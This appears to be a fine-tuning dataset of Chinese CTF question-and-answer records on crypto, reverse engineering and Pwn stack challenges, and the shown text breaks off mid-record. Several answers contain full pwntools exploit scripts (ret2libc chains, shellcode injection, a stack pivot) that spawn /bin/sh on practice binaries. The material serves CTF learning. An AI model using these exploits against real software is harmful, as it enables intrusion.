{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-37c4139ce3daabea7c31", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“简介”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. AES （Advanced Encryption Standard）的出现主要是为了取代 DES 加密算法。因为在现如今计算机的处理能力以及使得破解 DES 变得可行，所以人们需要一种算法来取代 DES 算法确保安全性，所以 AES 应运而生。\n2. AES（Advanced Encryption Standard）是对称加密算法，也是分组加密算法。\n3. 分组加密（也称为块加密）是指一次加密明文中的一个固定大小的数据块。明文被分为若干个固定长度的块，每个块经过加密算法处理后生成相应的密文块，解密时再还原为原始的明文块。具有代表性的块加密算法包括 DES、AES、3DES 等。\n4. 明文 `P`：指未经加密的原始数据，也称为原文。\n5. 密文 `C`：指经过加密处理后的数据，不易被理解或还原。\n6. 密钥 `K`：加密和解密过程中所使用的关键数据。在对称加密中，加密和解密使用的是同一密钥。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::758ede53302cc64a", "original_line": 939, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "简介", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "758ede53302cc64a", "source_split": "train", "split": "train", "split_group_key": "9f52bc5e01433df912690429", "tags": ["crypto"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-37dea42333d6d06c8fd8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SWPUCTF 2022 新生赛]Darling”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2022 新生赛]Darling”。\n语言/类型：c\n关联知识点：\n- 通过编写c程序复现伪随机数\n- 再通过逻辑构造exp\n代码片段：\n```c\n#include\n#include\n\nint main(){\n  srand(0x1317e53u);\n  int v=rand()%100-64;\n  printf(\"%d\\n\",v);\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::4b66a1bda246d705", "original_line": 66, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SWPUCTF 2022 新生赛]Darling", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "4b66a1bda246d705", "source_split": "validation", "split": "train", "split_group_key": "7db083fc104cdafc1ed286b8", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-385318d3c34b8c212287", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“ret2libc”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. libc_base = read_addr - libc.sym['read']\n2. system_addr = libc_base + libc.sym['system']\n3. bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\\x00'))\n4. payload = flat([cyclic(0x18),b'\\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])\n5. io.send(payload)", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1b6a6c5385ae3749", "original_line": 676, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "ret2libc", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1b6a6c5385ae3749", "source_split": "train", "split": "train", "split_group_key": "e3e64747fa2cd3f95c606781", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-387e4085f3cf1b66f017", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019s9”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019s9”。\n语言/类型：python\n关联知识点：\n- 程序栈上可写可读可执行，并且代码中存在`jmp esp`。\n- 利用jmp跳到栈顶执行，然后通过构造汇编操作栈帧执行shellcode\n- 通过向栈上写入shellcode，然后通过栈溢出执行获取shell\n代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./ciscn_s_9\")\n#io=remote(\"node5.buuoj.cn\",26315)\ncontext(log_level=\"debug\",arch=\"i386\")\n#gdb.attach(io)\n\nshell='''\nxor eax,eax\nxor edx,edx\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nmov al,0xb\nint 0x80\n'''\na=asm(shell)\nsh='''\npush 0xb\npop eax\ncdq\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nint 0x80\n'''\nb=asm(sh)\nlog.info(\"shell:\"+str(len(a)))\nlog.info(\"shell:\"+str(len(b)))\nret=0x08048554\nhint=0x8048554\n#pause()\npayload=b.ljust(0x24,b'a')+p32(ret)+asm(\"sub esp,40;call esp\")\nprint(len(payload))\nio.sendafter(b'>\\n',payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::39b787cec8beb5a4", "original_line": 954, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019s9", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "39b787cec8beb5a4", "source_split": "train", "split": "train", "split_group_key": "3a152a070b30d3952ffff9e7", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-38cf245953595b754978", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“jarvisojtellmesomething”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 只有`NX`保护。\n2. 程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。\n3. 函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。\n4. 我们通过栈溢出让程序返回到`good_game`函数即可输出`flag`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0cbee09457f660c1", "original_line": 732, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "jarvisojtellmesomething", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0cbee09457f660c1", "source_split": "train", "split": "train", "split_group_key": "1fa77b863e4b16b28b5cca35", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3944464029c4d9a992db", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“UPX魔改壳”？请用《UPX 脱壳详解》中的内容回答。", "role": "user"}, {"content": "1. 常规 UPX 壳 只要利用 upx 脱壳工具直接执行 upx -d 命令即可脱壳。\n2. 不过只要做一些简单的修改就可以让 upx 工具失效。\n3. 这种魔改壳在 CTF 中很常见。\n4. ​\t我们先来查看一下未修改前的文件信息。\n5. 可以看到图中显示了 upx1 和 3.91 upx 这两个特征标识。\n6. 然后查看一下加壳后的区段窗口，发现只有三个区段。最明显的特征`upx0`和`upx1`.", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1f2fb484b6cd0c25", "original_line": 820, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "UPX魔改壳", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1f2fb484b6cd0c25", "source_split": "train", "split": "train", "split_group_key": "521ceda03719405aa23d5afc", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3a2a5751af84f060cc94", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019es2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019es2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nleave = 0x080484B8\nsystem_addr = elf.symbols['system']\n\ns(b'a'*36 + b'bbbb')\nru(b'bbbb')\nebp = u32(r(4))\nprint(\"ebp\",hex(ebp))\n\n#ebp-0x28指向/bin/sh\npayload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\\x00').ljust(0x28, b'a')\npayload += p32(ebp-0x38) + p32(leave)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6b98d30203cb49ae", "original_line": 747, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019es2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6b98d30203cb49ae", "source_split": "train", "split": "train", "split_group_key": "cad9ac8b0dfe0936115251b1", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3a995df2fa8970b6c14f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“jnx和jx互补跳转”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“jnx和jx互补跳转”。\n关联知识点：\n- 这种花指令是 CTF 中最常见的。\n- 这种花指令去除方式也很简单，特征也很明显，因为是近跳转，所以ida分析的时候会分析出`jz`或者`jnz`会跳转几个字节，这个时候我们就可得到垃圾数据的长度，将该长度字节的数据全部`nop`掉即可解混淆。\n代码片段：\n```\n__asm {\n        jz s;\n\t\tjnz s;\n\t\t_emit 0xC7;\ns:\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::0cce0a7ce724d1ea", "original_line": 105, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "jnx和jx互补跳转", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "0cce0a7ce724d1ea", "source_split": "validation", "split": "train", "split_group_key": "f81fb60c4eec4f465ed789bf", "tags": ["reverse", "ctf-method"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3ab6206118e9965255c6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《UPX 脱壳详解》中“UPX魔改壳”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《UPX 脱壳详解》的“UPX魔改壳”。\n语言/类型：python\n关联知识点：\n- 常规 UPX 壳 只要利用 upx 脱壳工具直接执行 upx -d 命令即可脱壳。\n- 不过只要做一些简单的修改就可以让 upx 工具失效。\n- 这种魔改壳在 CTF 中很常见。\n- ​\t我们先来查看一下未修改前的文件信息。\n- 可以看到图中显示了 upx1 和 3.91 upx 这两个特征标识。\n代码片段：\n```python\ndata=[0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70, 0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F, 0x65]\nflag=\"\"\n\nfor i in range(len(data)):\n\tflag+=chr((data[i]+i))\nprint(flag)\n#LitCTF{w3lc0me_t0_l1tctf}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c2b1edcbfcee0b1a", "original_line": 828, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "UPX魔改壳", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c2b1edcbfcee0b1a", "source_split": "train", "split": "train", "split_group_key": "00ea811a11df6e933344b9b9", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3ad4521ad13c95e59555", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“jarvisojlevel4”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“jarvisojlevel4”。\n语言/类型：python\n关联知识点：\n- 利用`write`泄露基址，打ret2libc\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\noff=140\n\npayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got[\"write\"])+p32(4)\n\nsl(payload)\naddr=u32(r(4))\nbase=addr-libc.sym[\"write\"]\nprint(hex(base))\nsys=base+0x3a80c\nprint(hex(sys))\npayload=b'a'*off+p32(sys)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::bb86cdae5ce3ef7f", "original_line": 9, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "jarvisojlevel4", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "bb86cdae5ce3ef7f", "source_split": "test", "split": "train", "split_group_key": "87c6b2cd207a1e27933881c1", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3b8039ec30fcf81e094d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“IsDebuggerPresent”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / IsDebuggerPresent\n关键词：BeingDebugged、IsDebuggerPresent、Ptr32、UChar、BOOL、- 函数原型、在代码中编写一个函数调用、判断进程是否调试。\n\n- 实现、PEB、PEB_LDR_DATA\n蒸馏要点：\n- `IsDebuggerPresent`函数通过检查进程的 PEB 结构中的`BeingDebugged`字段来判断进程是否被调试。如果进程正在被调试，`BeingDebugged`字段会被设置为 1，函数返回非零值（通常为 1）。如果没有被调试，`BeingDebugged`字段为 0，函数返回 0。\n- PEB结构（部分）\n- 在代码中编写一个函数调用`IsDebuggerPresent`判断进程是否调试。\n可用于训练的标准回答：\n#### IsDebuggerPresent\n\n`IsDebuggerPresent`函数通过检查进程的 PEB 结构中的`BeingDebugged`字段来判断进程是否被调试。如果进程正在被调试，`BeingDebugged`字段会被设置为 1，函数返回非零值（通常为 1）。如果没有被调试，`BeingDebugged`字段为 0，函数返回 0。\n\n- PEB结构（部分）\n\n```c\n+0x000 InheritedAddressSpace : UChar\n+0x001 ReadImageFileExecOptions : UChar\n+0x002 BeingDebugged : UChar 调试标志\n+0x003 SpareBool : UChar\n+0x004 Mutant : Ptr32 Void\n+0x008 ImageBaseAddress : Ptr32 Void 映像基址\n+0x00c Ldr : Ptr32 _PEB_LDR_DATA 进程加载模块链表\n+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS\n+0x014 SubSystemData : Ptr32 Void\n+0x018 ProcessHeap : Ptr32 Void\n```\n\n- 函数原型\n\n```cpp\nBOOL WINAPI IsDebuggerPresent(VOID)\n{\n    return NtCurrentPeb() -> BeingDebugged;\n}\n```\n\n在代码中编写一个函数调用`IsDebuggerPresent`判断进程是否调试。\n\n- 实现\n\n```c\n#include\n#include\n\nBOOL CheckDebugger(){\n\treturn IsDebuggerPresent();\n}\n\nint main(){\n\n\tif(CheckDebugger()){\n\t\tprintf(\"debugger\\n\");\n\t}\n\telse{\n\t\tprintf(\"no debugger\\n\");...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d914192b33ae0bf0", "original_line": 735, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "IsDebuggerPresent", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d914192b33ae0bf0", "source_split": "train", "split": "train", "split_group_key": "f30859c729f8dd1c4827cab1", "tags": ["pwn", "reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3b8528bf01e6b5b6545f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“[[NISACTF 2022]UAF]”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. [[NISACTF 2022]UAF]\n2. 题型：存在函数指针\n3. 发现为32位程序，并且没有`PIE`保护。\n4. 分析`main`函数\n5. 分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。\n6. 接下来我们逐个功能函数分析", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3fb9bb70bca39cad", "original_line": 1000, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3fb9bb70bca39cad", "source_split": "train", "split": "train", "split_group_key": "50e4f5bdda450754369ba41f", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3c51caf52fe4cfd43d16", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“Z3”？请用《Z3》中的内容回答。", "role": "user"}, {"content": "1. Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。\n2. Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。\n3. angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::eca5b196f7af84af", "original_line": 834, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "Z3", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "eca5b196f7af84af", "source_split": "train", "split": "train", "split_group_key": "7ae646074750937e5407379f", "tags": ["reverse"], "title": "Z3", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3d64c1cd4f7a30a992ab", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“符号化输入”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 符号化输入\n关键词：我们对这个程序进行符号执行，首先将、替换为符号变量。\n\n由于、都是整型，所以我们要定义两个整型的符号变量、input、success、else、try、again、import\n蒸馏要点：\n- 符号执行首先要将程序的输入替换为符号变量，而是表示一个不确定的集合，即它们可以取多个可能的值。，符号变量不仅可以表示未知数，还可以用于表达任何一个可能的值。\n- 比如在下例代码中，用户输入了两个整型`x`和`y`。`x`和`y`可能是任何值，即都是未知数。\n- 我们对这个程序进行符号执行，首先将`x`和`y`替换为符号变量。\n- 由于`x`和`y`都是整型，所以我们要定义两个整型的符号变量\n可用于训练的标准回答：\n### 符号化输入\n\n符号执行首先要将程序的输入替换为符号变量，而是表示一个不确定的集合，即它们可以取多个可能的值。，符号变量不仅可以表示未知数，还可以用于表达任何一个可能的值。\n\n比如在下例代码中，用户输入了两个整型`x`和`y`。`x`和`y`可能是任何值，即都是未知数。\n\n- 例\n\n```python\nx=input(\"请输入x: \")\ny=input(\"请输入y: \")\n\nif x > y:\n\tprint(\"success\")\nelse:\n\tprint(\"try again\")\n```\n\n我们对这个程序进行符号执行，首先将`x`和`y`替换为符号变量。\n\n由于`x`和`y`都是整型，所以我们要定义两个整型的符号变量\n\n```python\nfrom z3 import *", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::daf292d3e4be9d54", "original_line": 888, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "符号化输入", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "daf292d3e4be9d54", "source_split": "train", "split": "train", "split_group_key": "f7f9016c87ae3759a9eb227f", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3dccc21de2595e3be763", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“bjdctf2020babyrop”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / bjdctf2020babyrop\n关键词：p64、elf、payload、puts、addr、libc、rdi、base、dump、import\n蒸馏要点：\n- 简单ret2libc\n可用于训练的标准回答：\n### bjdctf2020babyrop\n\n#ret2libc\n\n简单ret2libc\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nrdi=0x0000000000400733\npayload=b'a'*40+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nr()\nsl(payload)\n\naddr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(addr))\nlibc=LibcSearcher(\"puts\",addr)\nbase=addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=libc.dump(\"str_bin_sh\")+base\npayload=b'a'*40+p64(rdi)+p64(sh)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ba5cc8034365cd99", "original_line": 1044, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "bjdctf2020babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": 